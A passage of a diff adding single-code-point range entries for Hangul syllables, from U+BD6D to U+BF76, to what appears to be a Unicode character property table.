+ [0xbd6d, 0xbd6d], /* Hangul Syllable */
+ [0xbd6e, 0xbd6e], /* Hangul Syllable */
+ [0xbd6f, 0xbd6f], /* Hangul Syllable */
+ [0xbd70, 0xbd70], /* Hangul Syllable */
+ [0xbd71, 0xbd71], /* Hangul Syllable */
+ [0xbd72, 0xbd72], /* Hangul Syllable */
+ [0xbd73, 0xbd73], /* Hangul Syllable */
+ [0xbd74, 0xbd74], /* Hangul Syllable */
+ [0xbd75, 0xbd75], /* Hangul Syllable */
+ [0xbd76, 0xbd76], /* Hangul Syllable */
+ [0xbd77, 0xbd77], /* Hangul Syllable */
+ [0xbd78, 0xbd78], /* Hangul Syllable */
+ [0xbd79, 0xbd79], /* Hangul Syllable */
+ [0xbd7a, 0xbd7a], /* Hangul Syllable */
+ [0xbd7b, 0xbd7b], /* Hangul Syllable */
+ [0xbd7c, 0xbd7c], /* Hangul Syllable */
+ [0xbd7d, 0xbd7d], /* Hangul Syllable */
+ [0xbd7e, 0xbd7e], /* Hangul Syllable */
+ [0xbd7f, 0xbd7f], /* Hangul Syllable */
+ [0xbd80, 0xbd80], /* Hangul Syllable */
+ [0xbd81, 0xbd81], /* Hangul Syllable */
+ [0xbd82, 0xbd82], /* Hangul Syllable */
+ [0xbd83, 0xbd83], /* Hangul Syllable */
+ [0xbd84, 0xbd84], /* Hangul Syllable */
+ [0xbd85, 0xbd85], /* Hangul Syllable */
+ [0xbd86, 0xbd86], /* Hangul Syllable */
+ [0xbd87, 0xbd87], /* Hangul Syllable */
+ [0xbd88, 0xbd88], /* Hangul Syllable */
+ [0xbd89, 0xbd89], /* Hangul Syllable */
+ [0xbd8a, 0xbd8a], /* Hangul Syllable */
+ [0xbd8b, 0xbd8b], /* Hangul Syllable */
+ [0xbd8c, 0xbd8c], /* Hangul Syllable */
+ [0xbd8d, 0xbd8d], /* Hangul Syllable */
+ [0xbd8e, 0xbd8e], /* Hangul Syllable */
+ [0xbd8f, 0xbd8f], /* Hangul Syllable */
+ [0xbd90, 0xbd90], /* Hangul Syllable */
+ [0xbd91, 0xbd91], /* Hangul Syllable */
+ [0xbd92, 0xbd92], /* Hangul Syllable */
+ [0xbd93, 0xbd93], /* Hangul Syllable */
+ [0xbd94, 0xbd94], /* Hangul Syllable */
+ [0xbd95, 0xbd95], /* Hangul Syllable */
+ [0xbd96, 0xbd96], /* Hangul Syllable */
+ [0xbd97, 0xbd97], /* Hangul Syllable */
+ [0xbd98, 0xbd98], /* Hangul Syllable */
+ [0xbd99, 0xbd99], /* Hangul Syllable */
+ [0xbd9a, 0xbd9a], /* Hangul Syllable */
+ [0xbd9b, 0xbd9b], /* Hangul Syllable */
+ [0xbd9c, 0xbd9c], /* Hangul Syllable */
+ [0xbd9d, 0xbd9d], /* Hangul Syllable */
+ [0xbd9e, 0xbd9e], /* Hangul Syllable */
+ [0xbd9f, 0xbd9f], /* Hangul Syllable */
+ [0xbda0, 0xbda0], /* Hangul Syllable */
+ [0xbda1, 0xbda1], /* Hangul Syllable */
+ [0xbda2, 0xbda2], /* Hangul Syllable */
+ [0xbda3, 0xbda3], /* Hangul Syllable */
+ [0xbda4, 0xbda4], /* Hangul Syllable */
+ [0xbda5, 0xbda5], /* Hangul Syllable */
+ [0xbda6, 0xbda6], /* Hangul Syllable */
+ [0xbda7, 0xbda7], /* Hangul Syllable */
+ [0xbda8, 0xbda8], /* Hangul Syllable */
+ [0xbda9, 0xbda9], /* Hangul Syllable */
+ [0xbdaa, 0xbdaa], /* Hangul Syllable */
+ [0xbdab, 0xbdab], /* Hangul Syllable */
+ [0xbdac, 0xbdac], /* Hangul Syllable */
+ [0xbdad, 0xbdad], /* Hangul Syllable */
+ [0xbdae, 0xbdae], /* Hangul Syllable */
+ [0xbdaf, 0xbdaf], /* Hangul Syllable */
+ [0xbdb0, 0xbdb0], /* Hangul Syllable */
+ [0xbdb1, 0xbdb1], /* Hangul Syllable */
+ [0xbdb2, 0xbdb2], /* Hangul Syllable */
+ [0xbdb3, 0xbdb3], /* Hangul Syllable */
+ [0xbdb4, 0xbdb4], /* Hangul Syllable */
+ [0xbdb5, 0xbdb5], /* Hangul Syllable */
+ [0xbdb6, 0xbdb6], /* Hangul Syllable */
+ [0xbdb7, 0xbdb7], /* Hangul Syllable */
+ [0xbdb8, 0xbdb8], /* Hangul Syllable */
+ [0xbdb9, 0xbdb9], /* Hangul Syllable */
+ [0xbdba, 0xbdba], /* Hangul Syllable */
+ [0xbdbb, 0xbdbb], /* Hangul Syllable */
+ [0xbdbc, 0xbdbc], /* Hangul Syllable */
+ [0xbdbd, 0xbdbd], /* Hangul Syllable */
+ [0xbdbe, 0xbdbe], /* Hangul Syllable */
+ [0xbdbf, 0xbdbf], /* Hangul Syllable */
+ [0xbdc0, 0xbdc0], /* Hangul Syllable */
+ [0xbdc1, 0xbdc1], /* Hangul Syllable */
+ [0xbdc2, 0xbdc2], /* Hangul Syllable */
+ [0xbdc3, 0xbdc3], /* Hangul Syllable */
+ [0xbdc4, 0xbdc4], /* Hangul Syllable */
+ [0xbdc5, 0xbdc5], /* Hangul Syllable */
+ [0xbdc6, 0xbdc6], /* Hangul Syllable */
+ [0xbdc7, 0xbdc7], /* Hangul Syllable */
+ [0xbdc8, 0xbdc8], /* Hangul Syllable */
+ [0xbdc9, 0xbdc9], /* Hangul Syllable */
+ [0xbdca, 0xbdca], /* Hangul Syllable */
+ [0xbdcb, 0xbdcb], /* Hangul Syllable */
+ [0xbdcc, 0xbdcc], /* Hangul Syllable */
+ [0xbdcd, 0xbdcd], /* Hangul Syllable */
+ [0xbdce, 0xbdce], /* Hangul Syllable */
+ [0xbdcf, 0xbdcf], /* Hangul Syllable */
+ [0xbdd0, 0xbdd0], /* Hangul Syllable */
+ [0xbdd1, 0xbdd1], /* Hangul Syllable */
+ [0xbdd2, 0xbdd2], /* Hangul Syllable */
+ [0xbdd3, 0xbdd3], /* Hangul Syllable */
+ [0xbdd4, 0xbdd4], /* Hangul Syllable */
+ [0xbdd5, 0xbdd5], /* Hangul Syllable */
+ [0xbdd6, 0xbdd6], /* Hangul Syllable */
+ [0xbdd7, 0xbdd7], /* Hangul Syllable */
+ [0xbdd8, 0xbdd8], /* Hangul Syllable */
+ [0xbdd9, 0xbdd9], /* Hangul Syllable */
+ [0xbdda, 0xbdda], /* Hangul Syllable */
+ [0xbddb, 0xbddb], /* Hangul Syllable */
+ [0xbddc, 0xbddc], /* Hangul Syllable */
+ [0xbddd, 0xbddd], /* Hangul Syllable */
+ [0xbdde, 0xbdde], /* Hangul Syllable */
+ [0xbddf, 0xbddf], /* Hangul Syllable */
+ [0xbde0, 0xbde0], /* Hangul Syllable */
+ [0xbde1, 0xbde1], /* Hangul Syllable */
+ [0xbde2, 0xbde2], /* Hangul Syllable */
+ [0xbde3, 0xbde3], /* Hangul Syllable */
+ [0xbde4, 0xbde4], /* Hangul Syllable */
+ [0xbde5, 0xbde5], /* Hangul Syllable */
+ [0xbde6, 0xbde6], /* Hangul Syllable */
+ [0xbde7, 0xbde7], /* Hangul Syllable */
+ [0xbde8, 0xbde8], /* Hangul Syllable */
+ [0xbde9, 0xbde9], /* Hangul Syllable */
+ [0xbdea, 0xbdea], /* Hangul Syllable */
+ [0xbdeb, 0xbdeb], /* Hangul Syllable */
+ [0xbdec, 0xbdec], /* Hangul Syllable */
+ [0xbded, 0xbded], /* Hangul Syllable */
+ [0xbdee, 0xbdee], /* Hangul Syllable */
+ [0xbdef, 0xbdef], /* Hangul Syllable */
+ [0xbdf0, 0xbdf0], /* Hangul Syllable */
+ [0xbdf1, 0xbdf1], /* Hangul Syllable */
+ [0xbdf2, 0xbdf2], /* Hangul Syllable */
+ [0xbdf3, 0xbdf3], /* Hangul Syllable */
+ [0xbdf4, 0xbdf4], /* Hangul Syllable */
+ [0xbdf5, 0xbdf5], /* Hangul Syllable */
+ [0xbdf6, 0xbdf6], /* Hangul Syllable */
+ [0xbdf7, 0xbdf7], /* Hangul Syllable */
+ [0xbdf8, 0xbdf8], /* Hangul Syllable */
+ [0xbdf9, 0xbdf9], /* Hangul Syllable */
+ [0xbdfa, 0xbdfa], /* Hangul Syllable */
+ [0xbdfb, 0xbdfb], /* Hangul Syllable */
+ [0xbdfc, 0xbdfc], /* Hangul Syllable */
+ [0xbdfd, 0xbdfd], /* Hangul Syllable */
+ [0xbdfe, 0xbdfe], /* Hangul Syllable */
+ [0xbdff, 0xbdff], /* Hangul Syllable */
+ [0xbe00, 0xbe00], /* Hangul Syllable */
+ [0xbe01, 0xbe01], /* Hangul Syllable */
+ [0xbe02, 0xbe02], /* Hangul Syllable */
+ [0xbe03, 0xbe03], /* Hangul Syllable */
+ [0xbe04, 0xbe04], /* Hangul Syllable */
+ [0xbe05, 0xbe05], /* Hangul Syllable */
+ [0xbe06, 0xbe06], /* Hangul Syllable */
+ [0xbe07, 0xbe07], /* Hangul Syllable */
+ [0xbe08, 0xbe08], /* Hangul Syllable */
+ [0xbe09, 0xbe09], /* Hangul Syllable */
+ [0xbe0a, 0xbe0a], /* Hangul Syllable */
+ [0xbe0b, 0xbe0b], /* Hangul Syllable */
+ [0xbe0c, 0xbe0c], /* Hangul Syllable */
+ [0xbe0d, 0xbe0d], /* Hangul Syllable */
+ [0xbe0e, 0xbe0e], /* Hangul Syllable */
+ [0xbe0f, 0xbe0f], /* Hangul Syllable */
+ [0xbe10, 0xbe10], /* Hangul Syllable */
+ [0xbe11, 0xbe11], /* Hangul Syllable */
+ [0xbe12, 0xbe12], /* Hangul Syllable */
+ [0xbe13, 0xbe13], /* Hangul Syllable */
+ [0xbe14, 0xbe14], /* Hangul Syllable */
+ [0xbe15, 0xbe15], /* Hangul Syllable */
+ [0xbe16, 0xbe16], /* Hangul Syllable */
+ [0xbe17, 0xbe17], /* Hangul Syllable */
+ [0xbe18, 0xbe18], /* Hangul Syllable */
+ [0xbe19, 0xbe19], /* Hangul Syllable */
+ [0xbe1a, 0xbe1a], /* Hangul Syllable */
+ [0xbe1b, 0xbe1b], /* Hangul Syllable */
+ [0xbe1c, 0xbe1c], /* Hangul Syllable */
+ [0xbe1d, 0xbe1d], /* Hangul Syllable */
+ [0xbe1e, 0xbe1e], /* Hangul Syllable */
+ [0xbe1f, 0xbe1f], /* Hangul Syllable */
+ [0xbe20, 0xbe20], /* Hangul Syllable */
+ [0xbe21, 0xbe21], /* Hangul Syllable */
+ [0xbe22, 0xbe22], /* Hangul Syllable */
+ [0xbe23, 0xbe23], /* Hangul Syllable */
+ [0xbe24, 0xbe24], /* Hangul Syllable */
+ [0xbe25, 0xbe25], /* Hangul Syllable */
+ [0xbe26, 0xbe26], /* Hangul Syllable */
+ [0xbe27, 0xbe27], /* Hangul Syllable */
+ [0xbe28, 0xbe28], /* Hangul Syllable */
+ [0xbe29, 0xbe29], /* Hangul Syllable */
+ [0xbe2a, 0xbe2a], /* Hangul Syllable */
+ [0xbe2b, 0xbe2b], /* Hangul Syllable */
+ [0xbe2c, 0xbe2c], /* Hangul Syllable */
+ [0xbe2d, 0xbe2d], /* Hangul Syllable */
+ [0xbe2e, 0xbe2e], /* Hangul Syllable */
+ [0xbe2f, 0xbe2f], /* Hangul Syllable */
+ [0xbe30, 0xbe30], /* Hangul Syllable */
+ [0xbe31, 0xbe31], /* Hangul Syllable */
+ [0xbe32, 0xbe32], /* Hangul Syllable */
+ [0xbe33, 0xbe33], /* Hangul Syllable */
+ [0xbe34, 0xbe34], /* Hangul Syllable */
+ [0xbe35, 0xbe35], /* Hangul Syllable */
+ [0xbe36, 0xbe36], /* Hangul Syllable */
+ [0xbe37, 0xbe37], /* Hangul Syllable */
+ [0xbe38, 0xbe38], /* Hangul Syllable */
+ [0xbe39, 0xbe39], /* Hangul Syllable */
+ [0xbe3a, 0xbe3a], /* Hangul Syllable */
+ [0xbe3b, 0xbe3b], /* Hangul Syllable */
+ [0xbe3c, 0xbe3c], /* Hangul Syllable */
+ [0xbe3d, 0xbe3d], /* Hangul Syllable */
+ [0xbe3e, 0xbe3e], /* Hangul Syllable */
+ [0xbe3f, 0xbe3f], /* Hangul Syllable */
+ [0xbe40, 0xbe40], /* Hangul Syllable */
+ [0xbe41, 0xbe41], /* Hangul Syllable */
+ [0xbe42, 0xbe42], /* Hangul Syllable */
+ [0xbe43, 0xbe43], /* Hangul Syllable */
+ [0xbe44, 0xbe44], /* Hangul Syllable */
+ [0xbe45, 0xbe45], /* Hangul Syllable */
+ [0xbe46, 0xbe46], /* Hangul Syllable */
+ [0xbe47, 0xbe47], /* Hangul Syllable */
+ [0xbe48, 0xbe48], /* Hangul Syllable */
+ [0xbe49, 0xbe49], /* Hangul Syllable */
+ [0xbe4a, 0xbe4a], /* Hangul Syllable */
+ [0xbe4b, 0xbe4b], /* Hangul Syllable */
+ [0xbe4c, 0xbe4c], /* Hangul Syllable */
+ [0xbe4d, 0xbe4d], /* Hangul Syllable */
+ [0xbe4e, 0xbe4e], /* Hangul Syllable */
+ [0xbe4f, 0xbe4f], /* Hangul Syllable */
+ [0xbe50, 0xbe50], /* Hangul Syllable */
+ [0xbe51, 0xbe51], /* Hangul Syllable */
+ [0xbe52, 0xbe52], /* Hangul Syllable */
+ [0xbe53, 0xbe53], /* Hangul Syllable */
+ [0xbe54, 0xbe54], /* Hangul Syllable */
+ [0xbe55, 0xbe55], /* Hangul Syllable */
+ [0xbe56, 0xbe56], /* Hangul Syllable */
+ [0xbe57, 0xbe57], /* Hangul Syllable */
+ [0xbe58, 0xbe58], /* Hangul Syllable */
+ [0xbe59, 0xbe59], /* Hangul Syllable */
+ [0xbe5a, 0xbe5a], /* Hangul Syllable */
+ [0xbe5b, 0xbe5b], /* Hangul Syllable */
+ [0xbe5c, 0xbe5c], /* Hangul Syllable */
+ [0xbe5d, 0xbe5d], /* Hangul Syllable */
+ [0xbe5e, 0xbe5e], /* Hangul Syllable */
+ [0xbe5f, 0xbe5f], /* Hangul Syllable */
+ [0xbe60, 0xbe60], /* Hangul Syllable */
+ [0xbe61, 0xbe61], /* Hangul Syllable */
+ [0xbe62, 0xbe62], /* Hangul Syllable */
+ [0xbe63, 0xbe63], /* Hangul Syllable */
+ [0xbe64, 0xbe64], /* Hangul Syllable */
+ [0xbe65, 0xbe65], /* Hangul Syllable */
+ [0xbe66, 0xbe66], /* Hangul Syllable */
+ [0xbe67, 0xbe67], /* Hangul Syllable */
+ [0xbe68, 0xbe68], /* Hangul Syllable */
+ [0xbe69, 0xbe69], /* Hangul Syllable */
+ [0xbe6a, 0xbe6a], /* Hangul Syllable */
+ [0xbe6b, 0xbe6b], /* Hangul Syllable */
+ [0xbe6c, 0xbe6c], /* Hangul Syllable */
+ [0xbe6d, 0xbe6d], /* Hangul Syllable */
+ [0xbe6e, 0xbe6e], /* Hangul Syllable */
+ [0xbe6f, 0xbe6f], /* Hangul Syllable */
+ [0xbe70, 0xbe70], /* Hangul Syllable */
+ [0xbe71, 0xbe71], /* Hangul Syllable */
+ [0xbe72, 0xbe72], /* Hangul Syllable */
+ [0xbe73, 0xbe73], /* Hangul Syllable */
+ [0xbe74, 0xbe74], /* Hangul Syllable */
+ [0xbe75, 0xbe75], /* Hangul Syllable */
+ [0xbe76, 0xbe76], /* Hangul Syllable */
+ [0xbe77, 0xbe77], /* Hangul Syllable */
+ [0xbe78, 0xbe78], /* Hangul Syllable */
+ [0xbe79, 0xbe79], /* Hangul Syllable */
+ [0xbe7a, 0xbe7a], /* Hangul Syllable */
+ [0xbe7b, 0xbe7b], /* Hangul Syllable */
+ [0xbe7c, 0xbe7c], /* Hangul Syllable */
+ [0xbe7d, 0xbe7d], /* Hangul Syllable */
+ [0xbe7e, 0xbe7e], /* Hangul Syllable */
+ [0xbe7f, 0xbe7f], /* Hangul Syllable */
+ [0xbe80, 0xbe80], /* Hangul Syllable */
+ [0xbe81, 0xbe81], /* Hangul Syllable */
+ [0xbe82, 0xbe82], /* Hangul Syllable */
+ [0xbe83, 0xbe83], /* Hangul Syllable */
+ [0xbe84, 0xbe84], /* Hangul Syllable */
+ [0xbe85, 0xbe85], /* Hangul Syllable */
+ [0xbe86, 0xbe86], /* Hangul Syllable */
+ [0xbe87, 0xbe87], /* Hangul Syllable */
+ [0xbe88, 0xbe88], /* Hangul Syllable */
+ [0xbe89, 0xbe89], /* Hangul Syllable */
+ [0xbe8a, 0xbe8a], /* Hangul Syllable */
+ [0xbe8b, 0xbe8b], /* Hangul Syllable */
+ [0xbe8c, 0xbe8c], /* Hangul Syllable */
+ [0xbe8d, 0xbe8d], /* Hangul Syllable */
+ [0xbe8e, 0xbe8e], /* Hangul Syllable */
+ [0xbe8f, 0xbe8f], /* Hangul Syllable */
+ [0xbe90, 0xbe90], /* Hangul Syllable */
+ [0xbe91, 0xbe91], /* Hangul Syllable */
+ [0xbe92, 0xbe92], /* Hangul Syllable */
+ [0xbe93, 0xbe93], /* Hangul Syllable */
+ [0xbe94, 0xbe94], /* Hangul Syllable */
+ [0xbe95, 0xbe95], /* Hangul Syllable */
+ [0xbe96, 0xbe96], /* Hangul Syllable */
+ [0xbe97, 0xbe97], /* Hangul Syllable */
+ [0xbe98, 0xbe98], /* Hangul Syllable */
+ [0xbe99, 0xbe99], /* Hangul Syllable */
+ [0xbe9a, 0xbe9a], /* Hangul Syllable */
+ [0xbe9b, 0xbe9b], /* Hangul Syllable */
+ [0xbe9c, 0xbe9c], /* Hangul Syllable */
+ [0xbe9d, 0xbe9d], /* Hangul Syllable */
+ [0xbe9e, 0xbe9e], /* Hangul Syllable */
+ [0xbe9f, 0xbe9f], /* Hangul Syllable */
+ [0xbea0, 0xbea0], /* Hangul Syllable */
+ [0xbea1, 0xbea1], /* Hangul Syllable */
+ [0xbea2, 0xbea2], /* Hangul Syllable */
+ [0xbea3, 0xbea3], /* Hangul Syllable */
+ [0xbea4, 0xbea4], /* Hangul Syllable */
+ [0xbea5, 0xbea5], /* Hangul Syllable */
+ [0xbea6, 0xbea6], /* Hangul Syllable */
+ [0xbea7, 0xbea7], /* Hangul Syllable */
+ [0xbea8, 0xbea8], /* Hangul Syllable */
+ [0xbea9, 0xbea9], /* Hangul Syllable */
+ [0xbeaa, 0xbeaa], /* Hangul Syllable */
+ [0xbeab, 0xbeab], /* Hangul Syllable */
+ [0xbeac, 0xbeac], /* Hangul Syllable */
+ [0xbead, 0xbead], /* Hangul Syllable */
+ [0xbeae, 0xbeae], /* Hangul Syllable */
+ [0xbeaf, 0xbeaf], /* Hangul Syllable */
+ [0xbeb0, 0xbeb0], /* Hangul Syllable */
+ [0xbeb1, 0xbeb1], /* Hangul Syllable */
+ [0xbeb2, 0xbeb2], /* Hangul Syllable */
+ [0xbeb3, 0xbeb3], /* Hangul Syllable */
+ [0xbeb4, 0xbeb4], /* Hangul Syllable */
+ [0xbeb5, 0xbeb5], /* Hangul Syllable */
+ [0xbeb6, 0xbeb6], /* Hangul Syllable */
+ [0xbeb7, 0xbeb7], /* Hangul Syllable */
+ [0xbeb8, 0xbeb8], /* Hangul Syllable */
+ [0xbeb9, 0xbeb9], /* Hangul Syllable */
+ [0xbeba, 0xbeba], /* Hangul Syllable */
+ [0xbebb, 0xbebb], /* Hangul Syllable */
+ [0xbebc, 0xbebc], /* Hangul Syllable */
+ [0xbebd, 0xbebd], /* Hangul Syllable */
+ [0xbebe, 0xbebe], /* Hangul Syllable */
+ [0xbebf, 0xbebf], /* Hangul Syllable */
+ [0xbec0, 0xbec0], /* Hangul Syllable */
+ [0xbec1, 0xbec1], /* Hangul Syllable */
+ [0xbec2, 0xbec2], /* Hangul Syllable */
+ [0xbec3, 0xbec3], /* Hangul Syllable */
+ [0xbec4, 0xbec4], /* Hangul Syllable */
+ [0xbec5, 0xbec5], /* Hangul Syllable */
+ [0xbec6, 0xbec6], /* Hangul Syllable */
+ [0xbec7, 0xbec7], /* Hangul Syllable */
+ [0xbec8, 0xbec8], /* Hangul Syllable */
+ [0xbec9, 0xbec9], /* Hangul Syllable */
+ [0xbeca, 0xbeca], /* Hangul Syllable */
+ [0xbecb, 0xbecb], /* Hangul Syllable */
+ [0xbecc, 0xbecc], /* Hangul Syllable */
+ [0xbecd, 0xbecd], /* Hangul Syllable */
+ [0xbece, 0xbece], /* Hangul Syllable */
+ [0xbecf, 0xbecf], /* Hangul Syllable */
+ [0xbed0, 0xbed0], /* Hangul Syllable */
+ [0xbed1, 0xbed1], /* Hangul Syllable */
+ [0xbed2, 0xbed2], /* Hangul Syllable */
+ [0xbed3, 0xbed3], /* Hangul Syllable */
+ [0xbed4, 0xbed4], /* Hangul Syllable */
+ [0xbed5, 0xbed5], /* Hangul Syllable */
+ [0xbed6, 0xbed6], /* Hangul Syllable */
+ [0xbed7, 0xbed7], /* Hangul Syllable */
+ [0xbed8, 0xbed8], /* Hangul Syllable */
+ [0xbed9, 0xbed9], /* Hangul Syllable */
+ [0xbeda, 0xbeda], /* Hangul Syllable */
+ [0xbedb, 0xbedb], /* Hangul Syllable */
+ [0xbedc, 0xbedc], /* Hangul Syllable */
+ [0xbedd, 0xbedd], /* Hangul Syllable */
+ [0xbede, 0xbede], /* Hangul Syllable */
+ [0xbedf, 0xbedf], /* Hangul Syllable */
+ [0xbee0, 0xbee0], /* Hangul Syllable */
+ [0xbee1, 0xbee1], /* Hangul Syllable */
+ [0xbee2, 0xbee2], /* Hangul Syllable */
+ [0xbee3, 0xbee3], /* Hangul Syllable */
+ [0xbee4, 0xbee4], /* Hangul Syllable */
+ [0xbee5, 0xbee5], /* Hangul Syllable */
+ [0xbee6, 0xbee6], /* Hangul Syllable */
+ [0xbee7, 0xbee7], /* Hangul Syllable */
+ [0xbee8, 0xbee8], /* Hangul Syllable */
+ [0xbee9, 0xbee9], /* Hangul Syllable */
+ [0xbeea, 0xbeea], /* Hangul Syllable */
+ [0xbeeb, 0xbeeb], /* Hangul Syllable */
+ [0xbeec, 0xbeec], /* Hangul Syllable */
+ [0xbeed, 0xbeed], /* Hangul Syllable */
+ [0xbeee, 0xbeee], /* Hangul Syllable */
+ [0xbeef, 0xbeef], /* Hangul Syllable */
+ [0xbef0, 0xbef0], /* Hangul Syllable */
+ [0xbef1, 0xbef1], /* Hangul Syllable */
+ [0xbef2, 0xbef2], /* Hangul Syllable */
+ [0xbef3, 0xbef3], /* Hangul Syllable */
+ [0xbef4, 0xbef4], /* Hangul Syllable */
+ [0xbef5, 0xbef5], /* Hangul Syllable */
+ [0xbef6, 0xbef6], /* Hangul Syllable */
+ [0xbef7, 0xbef7], /* Hangul Syllable */
+ [0xbef8, 0xbef8], /* Hangul Syllable */
+ [0xbef9, 0xbef9], /* Hangul Syllable */
+ [0xbefa, 0xbefa], /* Hangul Syllable */
+ [0xbefb, 0xbefb], /* Hangul Syllable */
+ [0xbefc, 0xbefc], /* Hangul Syllable */
+ [0xbefd, 0xbefd], /* Hangul Syllable */
+ [0xbefe, 0xbefe], /* Hangul Syllable */
+ [0xbeff, 0xbeff], /* Hangul Syllable */
+ [0xbf00, 0xbf00], /* Hangul Syllable */
+ [0xbf01, 0xbf01], /* Hangul Syllable */
+ [0xbf02, 0xbf02], /* Hangul Syllable */
+ [0xbf03, 0xbf03], /* Hangul Syllable */
+ [0xbf04, 0xbf04], /* Hangul Syllable */
+ [0xbf05, 0xbf05], /* Hangul Syllable */
+ [0xbf06, 0xbf06], /* Hangul Syllable */
+ [0xbf07, 0xbf07], /* Hangul Syllable */
+ [0xbf08, 0xbf08], /* Hangul Syllable */
+ [0xbf09, 0xbf09], /* Hangul Syllable */
+ [0xbf0a, 0xbf0a], /* Hangul Syllable */
+ [0xbf0b, 0xbf0b], /* Hangul Syllable */
+ [0xbf0c, 0xbf0c], /* Hangul Syllable */
+ [0xbf0d, 0xbf0d], /* Hangul Syllable */
+ [0xbf0e, 0xbf0e], /* Hangul Syllable */
+ [0xbf0f, 0xbf0f], /* Hangul Syllable */
+ [0xbf10, 0xbf10], /* Hangul Syllable */
+ [0xbf11, 0xbf11], /* Hangul Syllable */
+ [0xbf12, 0xbf12], /* Hangul Syllable */
+ [0xbf13, 0xbf13], /* Hangul Syllable */
+ [0xbf14, 0xbf14], /* Hangul Syllable */
+ [0xbf15, 0xbf15], /* Hangul Syllable */
+ [0xbf16, 0xbf16], /* Hangul Syllable */
+ [0xbf17, 0xbf17], /* Hangul Syllable */
+ [0xbf18, 0xbf18], /* Hangul Syllable */
+ [0xbf19, 0xbf19], /* Hangul Syllable */
+ [0xbf1a, 0xbf1a], /* Hangul Syllable */
+ [0xbf1b, 0xbf1b], /* Hangul Syllable */
+ [0xbf1c, 0xbf1c], /* Hangul Syllable */
+ [0xbf1d, 0xbf1d], /* Hangul Syllable */
+ [0xbf1e, 0xbf1e], /* Hangul Syllable */
+ [0xbf1f, 0xbf1f], /* Hangul Syllable */
+ [0xbf20, 0xbf20], /* Hangul Syllable */
+ [0xbf21, 0xbf21], /* Hangul Syllable */
+ [0xbf22, 0xbf22], /* Hangul Syllable */
+ [0xbf23, 0xbf23], /* Hangul Syllable */
+ [0xbf24, 0xbf24], /* Hangul Syllable */
+ [0xbf25, 0xbf25], /* Hangul Syllable */
+ [0xbf26, 0xbf26], /* Hangul Syllable */
+ [0xbf27, 0xbf27], /* Hangul Syllable */
+ [0xbf28, 0xbf28], /* Hangul Syllable */
+ [0xbf29, 0xbf29], /* Hangul Syllable */
+ [0xbf2a, 0xbf2a], /* Hangul Syllable */
+ [0xbf2b, 0xbf2b], /* Hangul Syllable */
+ [0xbf2c, 0xbf2c], /* Hangul Syllable */
+ [0xbf2d, 0xbf2d], /* Hangul Syllable */
+ [0xbf2e, 0xbf2e], /* Hangul Syllable */
+ [0xbf2f, 0xbf2f], /* Hangul Syllable */
+ [0xbf30, 0xbf30], /* Hangul Syllable */
+ [0xbf31, 0xbf31], /* Hangul Syllable */
+ [0xbf32, 0xbf32], /* Hangul Syllable */
+ [0xbf33, 0xbf33], /* Hangul Syllable */
+ [0xbf34, 0xbf34], /* Hangul Syllable */
+ [0xbf35, 0xbf35], /* Hangul Syllable */
+ [0xbf36, 0xbf36], /* Hangul Syllable */
+ [0xbf37, 0xbf37], /* Hangul Syllable */
+ [0xbf38, 0xbf38], /* Hangul Syllable */
+ [0xbf39, 0xbf39], /* Hangul Syllable */
+ [0xbf3a, 0xbf3a], /* Hangul Syllable */
+ [0xbf3b, 0xbf3b], /* Hangul Syllable */
+ [0xbf3c, 0xbf3c], /* Hangul Syllable */
+ [0xbf3d, 0xbf3d], /* Hangul Syllable */
+ [0xbf3e, 0xbf3e], /* Hangul Syllable */
+ [0xbf3f, 0xbf3f], /* Hangul Syllable */
+ [0xbf40, 0xbf40], /* Hangul Syllable */
+ [0xbf41, 0xbf41], /* Hangul Syllable */
+ [0xbf42, 0xbf42], /* Hangul Syllable */
+ [0xbf43, 0xbf43], /* Hangul Syllable */
+ [0xbf44, 0xbf44], /* Hangul Syllable */
+ [0xbf45, 0xbf45], /* Hangul Syllable */
+ [0xbf46, 0xbf46], /* Hangul Syllable */
+ [0xbf47, 0xbf47], /* Hangul Syllable */
+ [0xbf48, 0xbf48], /* Hangul Syllable */
+ [0xbf49, 0xbf49], /* Hangul Syllable */
+ [0xbf4a, 0xbf4a], /* Hangul Syllable */
+ [0xbf4b, 0xbf4b], /* Hangul Syllable */
+ [0xbf4c, 0xbf4c], /* Hangul Syllable */
+ [0xbf4d, 0xbf4d], /* Hangul Syllable */
+ [0xbf4e, 0xbf4e], /* Hangul Syllable */
+ [0xbf4f, 0xbf4f], /* Hangul Syllable */
+ [0xbf50, 0xbf50], /* Hangul Syllable */
+ [0xbf51, 0xbf51], /* Hangul Syllable */
+ [0xbf52, 0xbf52], /* Hangul Syllable */
+ [0xbf53, 0xbf53], /* Hangul Syllable */
+ [0xbf54, 0xbf54], /* Hangul Syllable */
+ [0xbf55, 0xbf55], /* Hangul Syllable */
+ [0xbf56, 0xbf56], /* Hangul Syllable */
+ [0xbf57, 0xbf57], /* Hangul Syllable */
+ [0xbf58, 0xbf58], /* Hangul Syllable */
+ [0xbf59, 0xbf59], /* Hangul Syllable */
+ [0xbf5a, 0xbf5a], /* Hangul Syllable */
+ [0xbf5b, 0xbf5b], /* Hangul Syllable */
+ [0xbf5c, 0xbf5c], /* Hangul Syllable */
+ [0xbf5d, 0xbf5d], /* Hangul Syllable */
+ [0xbf5e, 0xbf5e], /* Hangul Syllable */
+ [0xbf5f, 0xbf5f], /* Hangul Syllable */
+ [0xbf60, 0xbf60], /* Hangul Syllable */
+ [0xbf61, 0xbf61], /* Hangul Syllable */
+ [0xbf62, 0xbf62], /* Hangul Syllable */
+ [0xbf63, 0xbf63], /* Hangul Syllable */
+ [0xbf64, 0xbf64], /* Hangul Syllable */
+ [0xbf65, 0xbf65], /* Hangul Syllable */
+ [0xbf66, 0xbf66], /* Hangul Syllable */
+ [0xbf67, 0xbf67], /* Hangul Syllable */
+ [0xbf68, 0xbf68], /* Hangul Syllable */
+ [0xbf69, 0xbf69], /* Hangul Syllable */
+ [0xbf6a, 0xbf6a], /* Hangul Syllable */
+ [0xbf6b, 0xbf6b], /* Hangul Syllable */
+ [0xbf6c, 0xbf6c], /* Hangul Syllable */
+ [0xbf6d, 0xbf6d], /* Hangul Syllable */
+ [0xbf6e, 0xbf6e], /* Hangul Syllable */
+ [0xbf6f, 0xbf6f], /* Hangul Syllable */
+ [0xbf70, 0xbf70], /* Hangul Syllable */
+ [0xbf71, 0xbf71], /* Hangul Syllable */
+ [0xbf72, 0xbf72], /* Hangul Syllable */
+ [0xbf73, 0xbf73], /* Hangul Syllable */
+ [0xbf74, 0xbf74], /* Hangul Syllable */
+ [0xbf75, 0xbf75], /* Hangul Syllable */
+ [0xbf76, 0xbf76], /* Hangul Syllable */
